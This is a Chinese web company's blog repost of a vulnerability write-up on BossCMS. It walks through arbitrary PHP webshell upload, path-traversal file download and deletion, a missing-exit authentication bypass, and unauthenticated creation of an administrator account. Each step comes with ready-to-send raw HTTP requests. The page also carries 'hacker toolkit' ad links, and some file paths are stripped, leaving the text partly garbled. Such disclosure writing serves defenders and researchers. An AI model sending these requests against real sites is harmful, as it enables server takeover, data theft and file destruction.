• 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们

宿迁腾云网络网站建设公司

腾云网络 八年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > php文件上传代码 【点击查看】黑客技术文档学习书籍全套工具包相关教学视频php 文件上传源码

php文件上传代码 【点击查看】黑客技术文档学习书籍全套工具包相关教学视频php 文件上传源码

2022-05-01184

前言

以下漏洞已提交给 CNVD 并收录

后台上传任何文件

将 Type.php 添加到后台安全设置中

然后通过附件上传的方式上传php木马文件

定位

随意找到上传点,然后抓包上传

修改后缀名发送后报错

{"state":"该文件扩展名不允许上传!"}

这里有一些相关的学习资料供大家参考[点击查看]

黑客技术文档PDF学习书籍全套工具包

审核源代码

通过报错信息定位到 ////..php 下的源码

else是结果,然后在if处下断点

上传php文件开始调试

发现两个条件都不满足

php后缀不在$中! $type!=true 表示 $type 不为空

第一个条件

先解决第一个问题,在文件第29行可以看到$变量值得获取

然后全局搜索,发现他在/////safe.php中得到了

根据路由规则访问

http://bosscms/admin/#safe

如果有允许的上传类型,则直接添加.php并保存,返回源码继续上传.php调试

可以看出此时$数组中多了一个值php文件上传代码,即.php,成功满足第一个要求

第二个条件

令!$type!=true,即令$type=null,即执行到函数第35行

这需要满足$arr数组中的$ext(.php),然后继续看$arr数组是从

$G['extension'][$t]中获取的

这里的$t值是,得到的arr是

".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"

全局搜索结果在 //json/.json

在代码键值中看到我们要上传的.php

所以我们的$t应该是代码,然后回到..php

$t通过遍历$得到,$通过除$type得到。可以看到调用函数时$type的默认值为null,所以调用时指定了code值

跟踪函数,定位到 ////php/..php 中的第 246 行php文件上传代码,调用函数并指定代码值

第二个条件成功解决

测试上传

很明显漏洞存在于编辑器的附件上传中

选择PHP木马文件

上传成功

点击确认,右键打开新链接获取路径

成功

后台下载任何文件

后台搭建url可以下载任意文件

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

定位

定位到 ///safe/..php

可以看到没有过滤,直接传值然后下载文件,get参数id值为文件名,可以通过

审核源代码

全局搜索网站优化,最后在 ////into..php 的函数中找到可用的方法

然后就是找到调用链

从 //.php 开始

转到 //.php

////进入..php

函数执行时,使用func值成功调用方法

$mold 和 $part 用于拼接文件并包含一次,然后创建一个新的 $part 对象然后检查该对象中是否有 $func 函数,如果存在则调用它

这样就可以构造url了

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

在方法上设置断点并访问

调用成功,参数获取正确

文件下载成功

并且这个CMS的数据库信息写在固定文件///ini/.ini.php

可以配合敏感信息泄露

删除后台的所有文件

定位

定位到 ///safe/..php

还是没有过滤,获取参数id值作为文件名然后调用删除

利用之前的链,先在站点根目录新建test.txt

然后按照规则构造请求包(post:url,get:id)

///safe/..php文件方法

POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--

成功删除文件

未经授权扩大危害

未经授权下载和删除任意文件

用户是否登录的验证在 ///..php 文件的init函数中

判断未登录时,跳转页面,但没有exit()或die()终止程序运行

所以你仍然可以在跳之前得到自己的结果(这可以在BP中体现)

未登录

先执行,成功执行结果得到结果

任何文件下载都一样,在BP中可以看到跳转前的结果

任何文件上传都是未经授权的

在未经授权的情况下扩大后台任何文件上传的攻击面

文件上传未授权

POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png

------WebKitFormBoundaryvwjLJGiYAdfklq31--

修改上传配置点未授权

在 ///safe/safe..php文件中找到add函数,参数可控

仍然是一条链,根据代码构造请求,在post请求中将.php键值添加到数组中

POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"
admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"
28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"
2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"
[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--

成功的未经授权的配置修改

修改配置后网站开发,任何文件都可以未经授权上传

访问执行成功

未经授权的用户操作

用户操作是比较敏感的操作,顺便写了

定位

定位到 ////..php

add、edit、三个函数参数由获取(可控)

按照规则构造请求表单,以下是重点

mold=manager&part=manager&func=add 
/system/admin/manager/manager.class.php中的add函数
POST传参
username-用户名
password-密码
password-确认密码
level-权限 (2为系统管理员)

申请包裹

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"
1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryB067fgIWBKtHI4Gy--

成功添加管理员用户

以管理员权限成功登录

后记

这些是一些简单而常见的漏洞点。主要原因是门禁系统崩溃,后台切换到前台,因为程序在跳转后没有及时终止。

Tag: php php源码 相关函数
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。

热推

  • 评论8月主题:Java强势领先Java已经较其他编程语言领先4.5%
  • php网站后台模板下载快速、简单的面向对象的轻量级PHP开发框架(上)网站php后台
  • php登录界面代码上节课来到前端网站增加新闻信息一览显示页面和详细页面php登录 表单 代码
  • 如何通过html+css+php来快速的制作动态网页
  • php技术 如何查看中级PHP程序员1.性能好等知识?(一)php模板技术smarty第1讲
  • 节选自《Go语言之父谈Go:大道至简》(图)
  • 开源php社交网站源码各种类型的开源网站系统可以轻松驾驭,做出漂亮的网站cms php开源源码
  • 最近流行彩字,的实现方法:构建图像$im
  • php编程培训2018年十大编程语言下表:现在不妨介绍跻身本列表中php编程规范
  • php开源小游戏个人web开发我选,你选谁?PHP?还是JSP?一致性hash算法php开源

相关

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

深入学习PHP编程基础与高级技术,掌握数字时代开发技能

PHP中七个常用框架介绍,详细解读ThinkPHP及其他框架

Science Technology:PHP开发平台发展历程

Science Technology:PHP开发平台发展历程

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

了解常见PHP应用程序安全威胁,掌握6个常见安全性攻击

如何查看php版本?多种方法助你快速知晓

如何查看php版本?多种方法助你快速知晓

PHP格式化:提升代码质量与协作效率的关键规则

如何查看虚拟主机上的 PHP 版本?这篇文章告诉你

Linux 系统管理员和 web 开发者必知:如何查看 PH

Linux 系统管理员和 web 开发者必知:如何查看 PH

标签

seo(1182) 市场营销(661) 网站制作(573) 网站建设(564) 搜索引擎(553) 网站(482) PHP(361) 编程语言(345) 建站(294) 关键词排名优化(267) 网站建设公司(245) 优化(216) seo排名(207) 域名(190) 软件(171) 网站优化(148) 搜索引擎优化(146) 外链(141) 科技(136) 网站关键词(124) 网站排名优化(123) 域名服务器(120) 网站排名(107) 时政(103) 排名优化(95) 搜索引擎收录(93) 网站设计(92) 电子商务(88) 引擎(86) 移动互联网(85) 开发框架(79) 开发(75) 网站服务器(74) 框架(68) 前端开发(68) 网站分析(66) 网站建设方案(65) 关键(64) 流量(63) 源码(62) 百度优化(62) 网站权重(61) 开放源代码(59) seo培训(53) 网页设计(51) 百度(51) php框架(50) 网站建设知识(50) 大数据(50) 谷歌(49)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2025 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1

热门搜索

百度 下载 2025 2024 2026 货源 货货源 虚拟 禅道 报名 金蝶KIS旗舰版
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们